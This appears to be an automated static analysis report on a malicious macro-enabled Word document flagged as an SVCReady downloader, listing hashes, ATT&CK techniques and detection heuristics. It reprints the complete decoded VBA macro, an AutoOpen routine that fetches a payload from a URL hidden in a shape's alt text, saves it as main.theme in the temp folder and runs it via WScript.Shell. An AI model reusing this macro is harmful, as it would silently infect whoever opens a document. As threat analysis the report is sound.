Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f6d12ccf893cb4c5…

MALICIOUS

Office (OOXML)

111.3 KB Created: 2020-08-06 11:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: d412d3968e9fd797018548b6b249bf0f SHA-1: 98e51da06c5e579b02c5b3673c97c9f3efd84ec0 SHA-256: f6d12ccf893cb4c51b3c049bb07c7e51f3c0f73f55379310459bdd89c5421edf
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a function that downloads content from an embedded URL using MSXML2.XMLHTTP60 and saves it to a temporary file named 'main.theme'. It then uses WScript.Shell to execute this downloaded content, likely a second-stage payload. The presence of AutoOpen, Shell(), and WScript.Shell usage strongly indicates a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function a56a365e(e6e2a75e)
    Set e8b5ecca = CreateObject("wscript.shell")
    Call e8b5ecca.exec(e6e2a75e)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function a56a365e(e6e2a75e)
    Set e8b5ecca = CreateObject("wscript.shell")
    Call e8b5ecca.exec(e6e2a75e)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "fa3c47e1"
    Sub AutoOpen()
    Dim e4075ebf As New fee5398f
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function da5f4b8a()
    da5f4b8a = Environ("temp") & "\main.theme"
    End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 6419eafb8458efcaf4b0efa7a35c14919c547b2b6875d8aa2d4be2ce10f13f75
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fa3c47e1"
Sub AutoOpen()
Dim e4075ebf As New fee5398f
Dim a5942906 As String
a5942906 = b115afb9(ActiveDocument.Shapes(1).AlternativeText)
d76e217e = e4075ebf.e576f377(a5942906)
cfabaf93 da5f4b8a, d76e217e
a227f359 = e4075ebf.a56a365e(abf74c83 & " " & da5f4b8a)
End Sub

Attribute VB_Name = "fcc08f4b"
Sub cfabaf93(bf3a6fb2, e9c38fc1)
Dim ade11582
ade11582 = FreeFile
Open bf3a6fb2 For Output As #ade11582
Print #ade11582, a07ee99d(e9c38fc1)
Close #ade11582
End Sub
Function da5f4b8a()
da5f4b8a = Environ("temp") & "\main.theme"
End Function
Function b115afb9(c2851999)
'b115afb9 = StrReverse(c2851999)
b115afb9 = c2851999
End Function
Sub fe803d99()
End Sub
Function a07ee99d(e9c38fc1)
a07ee99d = StrConv(e9c38fc1, 64)
End Function
Function abf74c83()
abf74c83 = b115afb9(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "fee5398f"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function e576f377(cce9f3f6)
Dim fb0e3069 As Object
Set fb0e3069 = New MSXML2.XMLHTTP60
aaa = fb0e3069.Open("GET", cce9f3f6, False)
fb0e3069.Send
e576f377 = fb0e3069.responsebody
End Function
Function a56a365e(e6e2a75e)
Set e8b5ecca = CreateObject("wscript.shell")
Call e8b5ecca.exec(e6e2a75e)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: ff7745f40e9ee87bc46e609ba87b52d53a0215f50abd09c7233daf78a0d3a3d5